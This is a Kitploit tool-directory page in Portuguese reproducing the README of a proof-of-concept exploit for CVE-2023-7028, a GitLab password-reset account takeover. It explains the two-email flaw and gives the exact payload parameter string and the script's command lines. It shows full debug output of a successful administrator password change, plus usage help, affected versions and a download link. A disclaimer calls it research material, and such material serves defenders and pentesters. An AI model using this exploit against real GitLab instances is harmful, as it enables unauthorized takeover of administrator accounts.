Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-7028 — This repository presents a proof-of-concept of CVE-2023-7028 | Kitploit
Ferramentas/GitHubGitHub/vozec/cve-2023-7028
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubvozec/cve-2023-7028

CVE-2023-7028

This repository presents a proof-of-concept of CVE-2023-7028

Ver Repositório
24442há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-7028 | Assunção de Conta Gitlab

Aviso Legal

Este código é uma prova de conceito da vulnerabilidade; não estou incentivando ninguém a usá-lo em instâncias do GitLab que não possuam.
Esta ferramenta foi desenvolvida apenas para fins de pesquisa e educação, e não me responsabilizo por qualquer uso que você faça dela.

Descrição:

CVE-2023-7028 refere-se a uma vulnerabilidade de Assunção de Conta que permite que usuários assumam o controle da conta do administrador do GitLab sem interação do usuário.

A vulnerabilidade reside no gerenciamento de e-mails ao redefinir senhas. Um atacante pode fornecer 2 e-mails e o código de redefinição será enviado para ambos.
Portanto, é possível fornecer o endereço de e-mail da conta alvo, bem como o do atacante, e redefinir a senha do administrador.
(O Gitlab ressalta que a autenticação de dois fatores impede a exploração dessa vulnerabilidade, pois um atacante, mesmo após redefinir a senha, não conseguirá fazer login.)

Esta vulnerabilidade foi descoberta por asterion04

Payload:

Aqui está um exemplo de payload

root@kitploit:~
user[email][][email protected]&user[email][][email protected]

POC:

Método 1: Usando e-mail temporário
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW
Método 2: Usando e-mail malicioso
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

Ajuda

root@kitploit:~
$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Gitlab url
  -t TARGET, --target TARGET
                        Target email
  -e EVIL, --evil EVIL  Evil email
  -p PASSWORD, --password PASSWORD
                        Password

Nota:

Sem a opção --evil, que especifica o endereço de e-mail do atacante, o script usa um e-mail temporário público para encontrar o link de redefinição de senha.
=> Tenha cuidado se este POC for usado durante um pentest.

Versões afetadas

  • 16.1 a 16.1.5
  • 16.2 a 16.2.8
  • 16.3 a 16.3.6
  • 16.4 a 16.4.4
  • 16.5 a 16.5.5
  • 16.6 a 16.6.3
  • 16.7 a 16.7.1

Referências:

  • https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
  • https://docs.gitlab.com/ee/install/docker.html
  • https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0030/
Baixar ferramenta